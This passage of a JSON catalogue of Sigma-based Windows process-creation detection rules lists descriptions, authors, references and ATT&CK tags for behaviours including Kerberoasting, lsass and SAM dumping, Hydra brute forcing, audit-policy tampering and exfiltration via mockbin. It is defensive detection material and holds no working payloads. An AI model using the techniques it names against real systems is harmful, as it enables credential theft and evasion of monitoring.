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      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "2f869d59-7f6a-4931-992c-cce556ff2d53",
      "value": "Potential Adplus.EXE Abuse"
    },
    {
      "description": "Detects when the Console Window Host (conhost.exe) process is spawned by an uncommon parent process, which could be indicative of potential code injection activity.",
      "meta": {
        "author": "Tim Rauch",
        "creation_date": "2022/09/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_conhost_uncommon_parent.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/guide/en/security/current/conhost-spawned-by-suspicious-parent-process.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_uncommon_parent.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cbb9e3d1-2386-4e59-912e-62f1484f7a89",
      "value": "Conhost Spawned By Uncommon Parent Process"
    },
    {
      "description": "Detects service principal name (SPN) enumeration used for Kerberoasting",
      "meta": {
        "author": "Markus Neis, keepwatch",
        "creation_date": "2018/11/14",
        "falsepositive": [
          "Administration activity"
        ],
        "filename": "proc_creation_win_setspn_spn_enumeration.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://web.archive.org/web/20200329173843/https://p16.praetorian.com/blog/how-to-use-kerberoasting-t1208-for-privilege-escalation",
          "https://www.praetorian.com/blog/how-to-use-kerberoasting-t1208-for-privilege-escalation/?edition=2019",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_setspn_spn_enumeration.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1558.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1eeed653-dbc8-4187-ad0c-eeebb20e6599",
      "value": "Potential SPN Enumeration Via Setspn.EXE"
    },
    {
      "description": "Checks whether the image specified in a process creation event is not a full, absolute path (caused by process ghosting or other unorthodox methods to start a process)",
      "meta": {
        "author": "Max Altgelt (Nextron Systems)",
        "creation_date": "2021/12/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_image_missing.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://pentestlaboratories.com/2021/12/08/process-ghosting/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_image_missing.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "71158e3f-df67-472b-930e-7d287acaa3e1",
      "value": "Execution Of Non-Existing File"
    },
    {
      "description": "Detects suspicious processes including shells spawnd from WinRM host process",
      "meta": {
        "author": "Andreas Hunkeler (@Karneades), Markus Neis",
        "creation_date": "2021/05/20",
        "falsepositive": [
          "Legitimate WinRM usage"
        ],
        "filename": "proc_creation_win_winrm_susp_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrm_susp_child_process.yml"
        ],
        "tags": [
          "attack.t1190",
          "attack.initial_access",
          "attack.persistence",
          "attack.privilege_escalation"
        ]
      },
      "related": [
        {
          "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5cc2cda8-f261-4d88-a2de-e9e193c86716",
      "value": "Suspicious Processes Spawned by WinRM"
    },
    {
      "description": "Detects creation of local users via the net.exe command with the option \"never expire\"",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/12",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_net_user_add_never_expire.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add_never_expire.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1136.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b9f0e6f5-09b4-4358-bae4-08408705bd5c",
      "value": "New User Created Via Net.EXE With Never Expire Option"
    },
    {
      "description": "Detects execution of msdt.exe using the \"cab\" flag which could indicates suspicious diagcab files with embedded answer files leveraging CVE-2022-30190",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), GossiTheDog, frack113",
        "creation_date": "2022/06/21",
        "falsepositive": [
          "Legitimate usage of \".diagcab\" files"
        ],
        "filename": "proc_creation_win_msdt_susp_cab_options.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/GossiTheDog/ThreatHunting/blob/e85884abbf05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab",
          "https://twitter.com/nas_bench/status/1537896324837781506",
          "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd",
          "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-9015912909545e72ed42cbac4d1e96295e8964579c406d23fd9c47a8091576a0",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_cab_options.yml"
        ],
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          "attack.defense_evasion",
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        ]
      },
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        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
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      "description": "Detects potentially suspicious CommandLine of electron apps (teams, discord, slack, etc.). This could be a sign of abuse to proxy execution through a signed binary.",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/09/05",
        "falsepositive": [
          "Legitimate usage for debugging purposes"
        ],
        "filename": "proc_creation_win_susp_electron_exeuction_proxy.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Msedge/",
          "https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf",
          "https://lolbas-project.github.io/lolbas/Binaries/msedgewebview2/",
          "https://lolbas-project.github.io/lolbas/Binaries/Teams/",
          "https://positive.security/blog/ms-officecmd-rce",
          "https://chromium.googlesource.com/chromium/chromium/+/master/content/public/common/content_switches.cc",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_electron_exeuction_proxy.yml"
        ],
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          "attack.execution"
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      },
      "uuid": "378a05d8-963c-46c9-bcce-13c7657eac99",
      "value": "Potentially Suspicious Electron Application CommandLine"
    },
    {
      "description": "Detects command line parameters used by Hydra password guessing hack tool",
      "meta": {
        "author": "Vasiliy Burov",
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          "Software that uses the caret encased keywords PASS and USER in its command line"
        ],
        "filename": "proc_creation_win_hktl_hydra.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/vanhauser-thc/thc-hydra",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_hydra.yml"
        ],
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          "attack.t1110",
          "attack.t1110.001"
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      },
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        {
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      "value": "HackTool - Hydra Password Bruteforce Execution"
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      "description": "Detects the usage of \"reg.exe\" in order to query reconnaissance information from the registry. Adversaries may interact with the Windows registry to gather information about credentials, the system, configuration, and installed software.",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2019/10/21",
        "falsepositive": [
          "Discord"
        ],
        "filename": "proc_creation_win_reg_query_registry.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1012/T1012.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_query_registry.yml"
        ],
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          "attack.discovery",
          "attack.t1012",
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        {
          "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
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      "description": "Detects the execution of the \"msxsl\" binary with an \"http\" keyword in the command line. This might indicate a potential remote execution of XSL files.",
      "meta": {
        "author": "Swachchhanda Shrawan Poudel",
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          "Msxsl is not installed by default and is deprecated, so unlikely on most systems."
        ],
        "filename": "proc_creation_win_msxsl_remote_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
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        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msxsl/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msxsl_remote_execution.yml"
        ],
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          "attack.defense_evasion",
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      "value": "Remote XSL Execution Via Msxsl.EXE"
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      "description": "Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/02/11",
        "falsepositive": [
          "Legitimate tools that accidentally match on the searched patterns"
        ],
        "filename": "proc_creation_win_susp_progname.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_progname.yml"
        ],
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        {
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      "description": "Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        "falsepositive": [
          "Very unlikely"
        ],
        "filename": "proc_creation_win_hktl_dumpert.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/",
          "https://github.com/outflanknl/Dumpert",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_dumpert.yml"
        ],
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      },
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        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
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      "description": "Detects a suspicious child process of a Microsoft HTML Help (HH.exe)",
      "meta": {
        "author": "Maxim Pavlunin, Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hh_html_help_susp_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37",
          "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/",
          "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/",
          "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_html_help_susp_child_process.yml"
        ],
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          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
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      "value": "HTML Help HH.EXE Suspicious Child Process"
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      "description": "Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privileges. This is often used after a privilege escalation attempt.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/05/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_whoami_priv_discovery.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/whoami",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_priv_discovery.yml"
        ],
        "tags": [
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          "attack.t1033"
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      },
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      "description": "Threat actors performed dumping of SAM, SECURITY and SYSTEM registry hives using DelegateExecute key",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_reg_open_command.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2021/12/13/diavol-ransomware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_open_command.yml"
        ],
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      "description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.",
      "meta": {
        "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative",
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        ],
        "filename": "proc_creation_win_lolbin_tttracer_mod_load.yml",
        "level": "high",
        "logsource.category": "process_creation",
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        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/",
          "https://twitter.com/oulusoyum/status/1191329746069655553",
          "https://twitter.com/mattifestation/status/1196390321783025666",
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    {
      "description": "One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/13",
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        ],
        "filename": "proc_creation_win_esentutl_webcache.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/threat-detection-report/threats/qbot/",
          "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/",
          "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/",
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      "description": "This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/02/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_crackmapexec_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=mssql-mimikatz",
          "https://mpgn.gitbook.io/crackmapexec/smb-protocol/authentication/checking-credentials-local",
          "https://www.mandiant.com/resources/telegram-malware-iranian-espionage",
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      "description": "Detects use of executionpolicy option to set insecure policies",
      "meta": {
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          "Administrator script"
        ],
        "filename": "proc_creation_win_powershell_set_policies_to_unsecure_level.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1",
          "https://adsecurity.org/?p=2604",
          "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/",
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_set_policies_to_unsecure_level.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "87e3c4e8-a6a8-4ad9-bb4f-46e7ff99a180",
      "value": "Change PowerShell Policies to an Insecure Level"
    },
    {
      "description": "Detects the use of the filename DumpStack.log to evade Microsoft Defender",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/01/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_dumpstack_log_evasion.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/mrd0x/status/1479094189048713219",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dumpstack_log_evasion.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "4f647cfa-b598-4e12-ad69-c68dd16caef8",
      "value": "DumpStack.log Defender Evasion"
    },
    {
      "description": "Detects usage of \"rar\" to add files to an archive for potential compression. An adversary may compress data (e.g. sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.",
      "meta": {
        "author": "Timur Zinniatullin, E.M. Anhaus, oscd.community",
        "creation_date": "2019/10/21",
        "falsepositive": [
          "Highly likely if rar is a default archiver in the monitored environment."
        ],
        "filename": "proc_creation_win_rar_compress_data.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md",
          "https://eqllib.readthedocs.io/en/latest/analytics/1ec33c93-3d0b-4a28-8014-dbdaae5c60ae.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rar_compress_data.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1560.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6f3e2987-db24-4c78-a860-b4f4095a7095",
      "value": "Files Added To An Archive Using Rar.EXE"
    },
    {
      "description": "Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module",
      "meta": {
        "author": "Bartlomiej Czyz, Relativity",
        "creation_date": "2021/01/31",
        "falsepositive": [
          "False positives may occur if a user called rundll32 from CLI with no options"
        ],
        "filename": "proc_creation_win_rundll32_without_parameters.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://bczyz1.github.io/2021/01/30/psexec.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_without_parameters.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.002",
          "attack.t1570",
          "attack.execution",
          "attack.t1569.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5bb68627-3198-40ca-b458-49f973db8752",
      "value": "Rundll32 Execution Without Parameters"
    },
    {
      "description": "Detects potential abuse of the \"register_app.vbs\" script that is part of the Windows SDK. The script offers the capability to register new VSS/VDS Provider as a COM+ application. Attackers can use this to install malicious DLLs for persistence and execution.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/11/05",
        "falsepositive": [
          "Other VB scripts that leverage the same starting command line flags"
        ],
        "filename": "proc_creation_win_lolscript_register_app.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/sblmsrsn/status/1456613494783160325?s=20",
          "https://github.com/microsoft/Windows-classic-samples/blob/7cbd99ac1d2b4a0beffbaba29ea63d024ceff700/Samples/Win7Samples/winbase/vss/vsssampleprovider/register_app.vbs",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolscript_register_app.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "28c8f68b-098d-45af-8d43-8089f3e35403",
      "value": "Potential Register_App.Vbs LOLScript Abuse"
    },
    {
      "description": "Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) from a non-standard directory.",
      "meta": {
        "author": "Michael McKinley (@McKinleyMike), Tony Latteri (@TheLatteri)",
        "creation_date": "2023/09/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_addinutil_uncommon_dir_exec.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_dir_exec.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6120ac2a-a34b-42c0-a9bd-1fb9f459f348",
      "value": "AddinUtil.EXE Execution From Uncommon Directory"
    },
    {
      "description": "Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell)",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "High"
        ],
        "filename": "proc_creation_win_cmd_http_appdata.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.hybrid-analysis.com/sample/f16c729aad5c74f19784a24257236a8bbe27f7cdc4a89806031ec7f1bebbd475?environmentId=100",
          "https://www.hybrid-analysis.com/sample/3a1f01206684410dbe8f1900bbeaaa543adfcd07368ba646b499fa5274b9edf6?environmentId=100",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_http_appdata.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.command_and_control",
          "attack.t1059.003",
          "attack.t1059.001",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1ac8666b-046f-4201-8aba-1951aaec03a3",
      "value": "Command Line Execution with Suspicious URL and AppData Strings"
    },
    {
      "description": "Detects the use of Ditsnap tool, an inspection tool for Active Directory database, ntds.dit.",
      "meta": {
        "author": "Furkan Caliskan (@caliskanfurkan_)",
        "creation_date": "2020/07/04",
        "falsepositive": [
          "Legitimate admin usage"
        ],
        "filename": "proc_creation_win_pua_ditsnap.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://web.archive.org/web/20201124182207/https://github.com/yosqueoy/ditsnap",
          "https://thedfirreport.com/2020/06/21/snatch-ransomware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_ditsnap.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d3b70aad-097e-409c-9df2-450f80dc476b",
      "value": "PUA - DIT Snapshot Viewer"
    },
    {
      "description": "Detects MMC20.Application Lateral Movement; specifically looks for the spawning of the parent MMC.exe with a command line of \"-Embedding\" as a child of svchost.exe",
      "meta": {
        "author": "@2xxeformyshirt (Security Risk Advisors) - rule; Teymur Kheirkhabarov (idea)",
        "creation_date": "2020/03/04",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_mmc_mmc20_lateral_movement.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/",
          "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view?usp=sharing",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_mmc20_lateral_movement.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1021.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f1f3bf22-deb2-418d-8cce-e1a45e46a5bd",
      "value": "MMC20 Lateral Movement"
    },
    {
      "description": "Detects usage of Gpg4win to decrypt files",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_gpg4win_decryption.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html",
          "https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/",
          "https://www.gpg4win.de/documentation.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpg4win_decryption.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "037dcd71-33a8-4392-bb01-293c94663e5a",
      "value": "File Decryption Using Gpg4win"
    },
    {
      "description": "Detects suspicious launch of a renamed version of the PSEXESVC service with, which is not often used by legitimate administrators",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/07/21",
        "falsepositive": [
          "Legitimate administrative tasks"
        ],
        "filename": "proc_creation_win_renamed_sysinternals_psexec_service.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.youtube.com/watch?v=ro2QuZTIMBM",
          "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_psexec_service.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "51ae86a2-e2e1-4097-ad85-c46cb6851de4",
      "value": "Renamed PsExec Service Execution"
    },
    {
      "description": "Detects use of Cobalt Strike commands accidentally entered in the CMD shell",
      "meta": {
        "author": "_pete_0, TheDFIRReport",
        "creation_date": "2022/05/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_cobaltstrike_bloopers_cmd.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/",
          "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/",
          "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_cobaltstrike_bloopers_cmd.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.003",
          "stp.1u"
        ]
      },
      "related": [
        {
          "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "647c7b9e-d784-4fda-b9a0-45c565a7b729",
      "value": "Operator Bloopers Cobalt Strike Commands"
    },
    {
      "description": "Threat actors can use auditpol binary to change audit policy configuration to impair detection capability.\nThis can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.\n",
      "meta": {
        "author": "Janantha Marasinghe (https://github.com/blueteam0ps)",
        "creation_date": "2021/02/02",
        "falsepositive": [
          "Administrator or administrator scripts might leverage the flags mentioned in the detection section. Either way, it should always be monitored"
        ],
        "filename": "proc_creation_win_auditpol_susp_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_auditpol_susp_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0a13e132-651d-11eb-ae93-0242ac130002",
      "value": "Audit Policy Tampering Via Auditpol"
    },
    {
      "description": "Detects the execution of a Chromium based browser process with the \"headless\" flag and a URL pointing to the mockbin.org service (which can be used to exfiltrate data).",
